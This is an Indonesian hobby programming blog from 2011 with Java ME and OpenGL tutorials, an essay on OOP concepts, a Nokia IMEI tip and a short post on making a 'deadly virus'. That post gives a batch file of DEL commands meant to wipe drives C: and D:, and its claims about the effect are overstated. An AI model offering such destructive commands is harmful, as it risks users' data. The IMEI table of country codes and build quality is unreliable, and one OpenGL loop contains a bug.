Buat project baru :
1. New project > Java ME > Mobile Application > Nama Project
(Canvas) > (pada device profile) pilih MIDP-2.0 (Nokia Symbian).
2. New > Java Package > Nama Package (HelloCanvas).
3. Kemudian buat class baru. New > MIDlet.. > Nama MIDlet (HelloCanvas)
4. Pada class HelloCanvas copykan script ini :
package HelloCanvas;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
class HelloCanvas extends Canvas implements CommandListener {
private Command exitCommand = new Command("Exit", Command.EXIT, 0);
private HelloCanvasMIDlet midlet;
private String text;
public HelloCanvas(HelloCanvasMIDlet midlet, String text) {
this.midlet = midlet;
this.text = text;
addCommand(exitCommand);
setCommandListener(this);
}
protected void paint(Graphics g) {
// membersihkan layar dengan mengisi semua layar dengan warna putih
g.setColor(33, 176, 22);
g.fillRect(0, 0, getWidth(), getHeight());
// mengatur warna tulisan dengan warna hitam
g.setColor(0, 0, 0);
// dan menulis sebuah text
g.drawString(text,
getWidth()/2, getHeight()/2,
Graphics.TOP | Graphics.HCENTER);
Font font = g.getFont();
g.drawString("NAMA : Gianar W K", getWidth()/2, getHeight()/2, Graphics.TOP | Graphics.HCENTER);
g.drawString("NIM : 105623266", getWidth()/2, getHeight()/2+font.getHeight(), Graphics.TOP | Graphics.HCENTER);
}
public void commandAction(Command c, Displayable d) {
if (c == exitCommand){
midlet.Quit();
}
}
}
5. Kemudian buat class lagi, New > MIDlet.. > Nama MIDlet (HelloCanvasMIDlet)
6. Pada class HelloCanvasMIDlet copykan script ini :
package HelloCanvas;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
public class HelloCanvasMIDlet extends MIDlet {
private Display display;
HelloCanvas canvas;
Command exitCommand = new Command("Exit", Command.EXIT, 0);
public void startApp() {
if (display == null){
canvas = new HelloCanvas(this, "");
display = Display.getDisplay(this);
}
display.setCurrent(canvas);
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
}
protected void Quit(){
destroyApp(true);
notifyDestroyed();
}
}
Programming
Rabu, 12 Oktober 2011
Membuat List pada Java Mobile
Buat project baru :
1. New project > Java ME > Mobile Application > Nama Project (Listener) > (pada device profile) pilih MIDP-2.0 (Nokia Symbian).
2. New > Java Package > Nama Package (Listener).
3. Kemudian New > MIDlet.. > Nama MIDlet (Listener)
4. Pada class Listener copykan script
package Listener;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
public class Listener extends MIDlet implements CommandListener {
Display display;
List list;
Command exitCommand = new Command("Exit", Command.EXIT, 1);
Command newCommand = new Command("New item", Command.OK, 1);
Command renameCommand = new Command("Rename item", Command.OK, 1);
Command deleteCommand = new Command("Delete item", Command.OK, 1);
Ticker ticker = new Ticker ("JEDI - Java Education and Development Initiative");
public Listener(){
list = new List("JEDI: List Example", List.IMPLICIT); // ( Tipe list ) List.EXCLUSIVE, List.MULTIPLE
list.append("List Item #1", null);
list.append("List Item #2", null);
list.append("List Item #3", null);
list.setTicker(ticker);
list.addCommand(exitCommand);
list.addCommand(newCommand);
list.addCommand(renameCommand);
list.addCommand(deleteCommand);
list.setCommandListener(this);
}
public void startApp() {
if (display == null){
display = Display.getDisplay(this);
display.setCurrent(list);
}
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
}
public void commandAction(Command c, Displayable d) {
if (c == exitCommand){
destroyApp(true);
notifyDestroyed(); //exit
}
if (c==List.SELECT_COMMAND){
int index = list.getSelectedIndex();
String currentItemm = list.getString(index);
// menjalankan suatu hal
}
}
}
1. New project > Java ME > Mobile Application > Nama Project (Listener) > (pada device profile) pilih MIDP-2.0 (Nokia Symbian).
2. New > Java Package > Nama Package (Listener).
3. Kemudian New > MIDlet.. > Nama MIDlet (Listener)
4. Pada class Listener copykan script
package Listener;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
public class Listener extends MIDlet implements CommandListener {
Display display;
List list;
Command exitCommand = new Command("Exit", Command.EXIT, 1);
Command newCommand = new Command("New item", Command.OK, 1);
Command renameCommand = new Command("Rename item", Command.OK, 1);
Command deleteCommand = new Command("Delete item", Command.OK, 1);
Ticker ticker = new Ticker ("JEDI - Java Education and Development Initiative");
public Listener(){
list = new List("JEDI: List Example", List.IMPLICIT); // ( Tipe list ) List.EXCLUSIVE, List.MULTIPLE
list.append("List Item #1", null);
list.append("List Item #2", null);
list.append("List Item #3", null);
list.setTicker(ticker);
list.addCommand(exitCommand);
list.addCommand(newCommand);
list.addCommand(renameCommand);
list.addCommand(deleteCommand);
list.setCommandListener(this);
}
public void startApp() {
if (display == null){
display = Display.getDisplay(this);
display.setCurrent(list);
}
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
}
public void commandAction(Command c, Displayable d) {
if (c == exitCommand){
destroyApp(true);
notifyDestroyed(); //exit
}
if (c==List.SELECT_COMMAND){
int index = list.getSelectedIndex();
String currentItemm = list.getString(index);
// menjalankan suatu hal
}
}
}
Selasa, 11 Oktober 2011
Membuat Garis dengan Open - GL
Sebelum membuat project ini, terlebih dahulu kita membuat titik koordinat (x,y). Buatlah skala pada garis (x,y). Tentukan dimana titik dan garis tersebut akan anda buat.
#include <glut.h>
#include <stdio.h>
void userdraw(void);
void drawDot(int x, int y) // drawDot untuk membuat titik
{
glBegin(GL_POINTS);
glVertex2i(x,y);
glEnd();
}
void setColor(float red, float green, float blue) {
glColor3f(red, green, blue);
}
void userdraw(void)
{
glPointSize(3);
setColor(0.,0.,1.);
glBegin(GL_POINTS); // perintah mulai pembuatan titik dari titik koordinat
glVertex2i(180,220); // titik dibuat pada garis x(180) dan y(220)
glVertex2i(180,140);
glVertex2i(280,180);
glVertex2i(280,260);
glEnd();
glBegin(GL_LINES); // perintah mulai pembuatan garis dari titik koordinat
glVertex2i(120,160); // titik dibuat pada garis x(120) dan y(160)
glVertex2i(180,240); // kemudian ditarik ke titik x(180) dan y(240)
glVertex2i(120,160);
glVertex2i(240,160);
glVertex2i(240,160);
glVertex2i(180,240);
glVertex2i(280,160);
glVertex2i(220,240);
glVertex2i(340,240);
glVertex2i(280,160);
glVertex2i(220,240);
glVertex2i(340,240);
glEnd();
}
void display (void) {
glClear(GL_COLOR_BUFFER_BIT);
userdraw();
glFlush();
}
void main (int argc, char**argv) {
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE|GLUT_RGB);
glutInitWindowPosition(100, 150);
glutInitWindowSize(640, 480);
glutCreateWindow("titik");
glClearColor(1.0, 1.0, 1.0, 0.0);
gluOrtho2D(0., 640.,0.0,480.0);
glutDisplayFunc(display);
glutMainLoop();
}
#include <glut.h>
#include <stdio.h>
void userdraw(void);
void drawDot(int x, int y) // drawDot untuk membuat titik
{
glBegin(GL_POINTS);
glVertex2i(x,y);
glEnd();
}
void setColor(float red, float green, float blue) {
glColor3f(red, green, blue);
}
void userdraw(void)
{
glPointSize(3);
setColor(0.,0.,1.);
glBegin(GL_POINTS); // perintah mulai pembuatan titik dari titik koordinat
glVertex2i(180,220); // titik dibuat pada garis x(180) dan y(220)
glVertex2i(180,140);
glVertex2i(280,180);
glVertex2i(280,260);
glEnd();
glBegin(GL_LINES); // perintah mulai pembuatan garis dari titik koordinat
glVertex2i(120,160); // titik dibuat pada garis x(120) dan y(160)
glVertex2i(180,240); // kemudian ditarik ke titik x(180) dan y(240)
glVertex2i(120,160);
glVertex2i(240,160);
glVertex2i(240,160);
glVertex2i(180,240);
glVertex2i(280,160);
glVertex2i(220,240);
glVertex2i(340,240);
glVertex2i(280,160);
glVertex2i(220,240);
glVertex2i(340,240);
glEnd();
}
void display (void) {
glClear(GL_COLOR_BUFFER_BIT);
userdraw();
glFlush();
}
void main (int argc, char**argv) {
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE|GLUT_RGB);
glutInitWindowPosition(100, 150);
glutInitWindowSize(640, 480);
glutCreateWindow("titik");
glClearColor(1.0, 1.0, 1.0, 0.0);
gluOrtho2D(0., 640.,0.0,480.0);
glutDisplayFunc(display);
glutMainLoop();
}
Membuat Titik dengan Open - GL
Sebelum membuat project ini, terlebih dahulu kita membuat titik
koordinat (x,y). Buatlah skala pada garis (x,y). Tentukan dimana titik tersebut akan anda buat.
#include<glut.h>
#include<stdio.h>
void userdraw(void);
void drawDot(float x, float y) //Untuk membuat titik
{
glBegin(GL_POINTS);
glVertex2f(x,y);
glEnd();
}
void setColor(float red, float green, float blue) {
glColor3f(red, green, blue);
}
void userdraw(void) {
glPointSize(3); // Ketebalan titik
setColor(0.,0.,1.); // warna titik (red, green, blue)
for(int i=0;i<20;i+=5); {
for(int j=0;j<20;j+=5) {
drawDot(10.0+i,10.0+j);
}
}
}
void display (void) {
glClear(GL_COLOR_BUFFER_BIT);
userdraw();
glFlush();
}
void main (int argc, char **argv) {
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE|GLUT_RGB);
glutInitWindowPosition(100, 150);
glutInitWindowSize(640, 480);
glutCreateWindow("titik");
glClearColor(1.0, 1.0, 1.0, 0.0);
gluOrtho2D(0., 640.,0.0,480.0);
glutDisplayFunc(display);
glutMainLoop();
}
#include<glut.h>
#include<stdio.h>
void userdraw(void);
void drawDot(float x, float y) //Untuk membuat titik
{
glBegin(GL_POINTS);
glVertex2f(x,y);
glEnd();
}
void setColor(float red, float green, float blue) {
glColor3f(red, green, blue);
}
void userdraw(void) {
glPointSize(3); // Ketebalan titik
setColor(0.,0.,1.); // warna titik (red, green, blue)
for(int i=0;i<20;i+=5); {
for(int j=0;j<20;j+=5) {
drawDot(10.0+i,10.0+j);
}
}
}
void display (void) {
glClear(GL_COLOR_BUFFER_BIT);
userdraw();
glFlush();
}
void main (int argc, char **argv) {
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE|GLUT_RGB);
glutInitWindowPosition(100, 150);
glutInitWindowSize(640, 480);
glutCreateWindow("titik");
glClearColor(1.0, 1.0, 1.0, 0.0);
gluOrtho2D(0., 640.,0.0,480.0);
glutDisplayFunc(display);
glutMainLoop();
}
Senin, 15 Agustus 2011
Cara Membuat Virus yang Cukup Mematikan
Virus yang akan kita buat adalah virus yang bisa dikatakan jauh lebih mematikan dari pada virus - virus lainnya. Mungkin cara ini cukup ekstrim untuk dipraktikan. Jadi, jangan sampai artikel ini disalah gunakan.
Langsung saja, buka notepad dan ketikkan script berikut ini :
@echo off
DEL C: -Y
DEL D: -Y
Langsung saja, buka notepad dan ketikkan script berikut ini :
@echo off
DEL C: -Y
DEL D: -Y
Kemudian simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri nama virus ini dengan kata apa saja terserah Anda dan diakhiri dengan kata .bat, misal virus.bat , kemudian klik save.
Setelah file ini disimpan, JANGAN DIKLIK!!!
Virus ini adalah virus yang sangat mematikan, bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa terkecuali. Sehingga, hal ini dapat menyebabkan komputer Anda akan mati total. Untuk sampel virusnya bisa langsung download disini jika tidak ingin memakai cara copy paste diatas.
Setelah file ini disimpan, JANGAN DIKLIK!!!
Virus ini adalah virus yang sangat mematikan, bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa terkecuali. Sehingga, hal ini dapat menyebabkan komputer Anda akan mati total. Untuk sampel virusnya bisa langsung download disini jika tidak ingin memakai cara copy paste diatas.
Jumat, 12 Agustus 2011
Konsep Dasar Pemrograman Berorientasi Objek
Pemrograman berorientasi objek (Inggris: object-oriented programming disingkat OOP) merupakan paradigma pemrograman yang berorientasikan kepada objek. Semua data dan fungsi di dalam paradigma ini dibungkus dalam kelas-kelas atau objek-objek. Bandingkan dengan logika pemrograman terstruktur. Setiap objek dapat menerima pesan, memproses data, dan mengirim pesan ke objek lainnya.
Model data berorientasi objek dikatakan dapat memberi fleksibilitas yang lebih, kemudahan mengubah program, dan digunakan luas dalam teknik piranti lunak skala besar. Lebih jauh lagi, pendukung OOP mengklaim bahwa OOP lebih mudah dipelajari bagi pemula dibanding dengan pendekatan sebelumnya, dan pendekatan OOP lebih mudah dikembangkan dan dirawat.Konsep dasar dari Pemrograman Berorientasi Objek
Pemrograman orientasi-objek menekankan konsep berikut:
- kelas — kumpulan atas definisi data dan fungsi-fungsi dalam suatu unit untuk suatu tujuan tertentu. Sebagai contoh 'class of dog' adalah suatu unit yang terdiri atas definisi-definisi data dan fungsi-fungsi yang menunjuk pada berbagai macam perilaku/turunan dari anjing. Sebuah class adalah dasar dari modularitas dan struktur dalam pemrograman berorientasi object. Sebuah class secara tipikal sebaiknya dapat dikenali oleh seorang non-programmer sekalipun terkait dengan domain permasalahan yang ada, dan kode yang terdapat dalam sebuah class sebaiknya (relatif) bersifat mandiri dan independen (sebagaimana kode tersebut digunakan jika tidak menggunakan OOP). Dengan modularitas, struktur dari sebuah program akan terkait dengan aspek-aspek dalam masalah yang akan diselesaikan melalui program tersebut. Cara seperti ini akan menyederhanakan pemetaan dari masalah ke sebuah program ataupun sebaliknya.
- Objek - membungkus data dan fungsi bersama menjadi suatu unit dalam sebuah program komputer; objek merupakan dasar dari modularitas dan struktur dalam sebuah program komputer berorientasi objek.
- Abstraksi - Kemampuan sebuah program untuk melewati aspek informasi yang diproses olehnya, yaitu kemampuan untuk memfokus pada inti. Setiap objek dalam sistem melayani sebagai model dari "pelaku" abstrak yang dapat melakukan kerja, laporan dan perubahan keadaannya, dan berkomunikasi dengan objek lainnya dalam sistem, tanpa mengungkapkan bagaimana kelebihan ini diterapkan. Proses, fungsi atau metode dapat juga dibuat abstrak, dan beberapa teknik digunakan untuk mengembangkan sebuah pengabstrakan.
- Enkapsulasi - Memastikan pengguna sebuah objek tidak dapat mengganti keadaan dalam dari sebuah objek dengan cara yang tidak layak; hanya metode dalam objek tersebut yang diberi ijin untuk mengakses keadaannya. Setiap objek mengakses interface yang menyebutkan bagaimana objek lainnya dapat berinteraksi dengannya. Objek lainnya tidak akan mengetahui dan tergantung kepada representasi dalam objek tersebut.
- Polimorfisme melalui pengiriman pesan. Tidak bergantung kepada pemanggilan subrutin, bahasa orientasi objek dapat mengirim pesan; metode tertentu yang berhubungan dengan sebuah pengiriman pesan tergantung kepada objek tertentu di mana pesa tersebut dikirim. Contohnya, bila sebuah burung menerima pesan "gerak cepat", dia akan menggerakan sayapnya dan terbang. Bila seekor singa menerima pesan yang sama, dia akan menggerakkan kakinya dan berlari. Keduanya menjawab sebuah pesan yang sama, namun yang sesuai dengan kemampuan hewan tersebut. Ini disebut polimorfisme karena sebuah variabel tungal dalam program dapat memegang berbagai jenis objek yang berbeda selagi program berjalan, dan teks program yang sama dapat memanggil beberapa metode yang berbeda di saat yang berbeda dalam pemanggilan yang sama. Hal ini berlawanan dengan bahasa fungsional yang mencapai polimorfisme melalui penggunaan fungsi kelas-pertama.
- Inheritas- Mengatur polimorfisme dan enkapsulasi dengan mengijinkan objek didefinisikan dan diciptakan dengan jenis khusus dari objek yang sudah ada - objek-objek ini dapat membagi (dan memperluas) perilaku mereka tanpa haru mengimplementasi ulang perilaku tersebut (bahasa berbasis-objek tidak selalu memiliki inheritas.)
- Dengan menggunakan OOP maka dalam melakukan pemecahan suatu masalah kita tidak melihat bagaimana cara menyelesaikan suatu masalah tersebut (terstruktur) tetapi objek-objek apa yang dapat melakukan pemecahan masalah tersebut. Sebagai contoh anggap kita memiliki sebuah departemen yang memiliki manager, sekretaris, petugas administrasi data dan lainnya. Misal manager tersebut ingin memperoleh data dari bag administrasi maka manager tersebut tidak harus mengambilnya langsung tetapi dapat menyuruh petugas bag administrasi untuk mengambilnya. Pada kasus tersebut seorang manager tidak harus mengetahui bagaimana cara mengambil data tersebut tetapi manager bisa mendapatkan data tersebut melalui objek petugas adminiistrasi. Jadi untuk menyelesaikan suatu masalah dengan kolaborasi antar objek-objek yang ada karena setiap objek memiliki deskripsi tugasnya sendiri.
Mengetahui Kualitas HP Nokia GSM Anda & Buatan Mana
Cara mengetahui kualitas HP nokia bisa di lihat dari nomor imei HP. Biasanya ada pada bagian dalam HP yang tertutup oleh baterai. Tapi bisa juga dengan cara menekan tombol *#06# biasanya nomor imei terdiri dari 15 digit (angka). Dan pada urutan angka imei yg ke7 dan 8 adalah kode dimana HP itu di buat.
Dan ini kode negara pabrikan nokia :
Dan ini kode negara pabrikan nokia :
13 adalah buatan azarbaijan dengan kualitas paling buruk.
02 dan 20 adalah buatan UEA uni emirat arab (Asia) dengan kualitas kurang bagus.
04 dan 40 adalah buatan india dengan kualitas kurang bagus.
03 dan 30 adalah buatan china dengan kualitas biasa saja.
08 dan 80 adalah buatan jerman dengan kualitas cukup baik.
01 dan 10 adalah buatan finlandia dengan kualitas lumayan baik.
00 adalah buatan prancis dengan kualitas tangguh dan sangant baik.
Contoh : nomor imei 832001'03'8499010
kodenya adalah ’03′ berati buatan china.
kodenya adalah ’03′ berati buatan china.
*Cara ini hanya berlaku untuk HP nokia GSM bukan CDMA.
Jika Handphone anda tidak termasuk dari salah satu di atas berarti HP anda adalah HP tidak original.
Langganan:
Komentar (Atom)
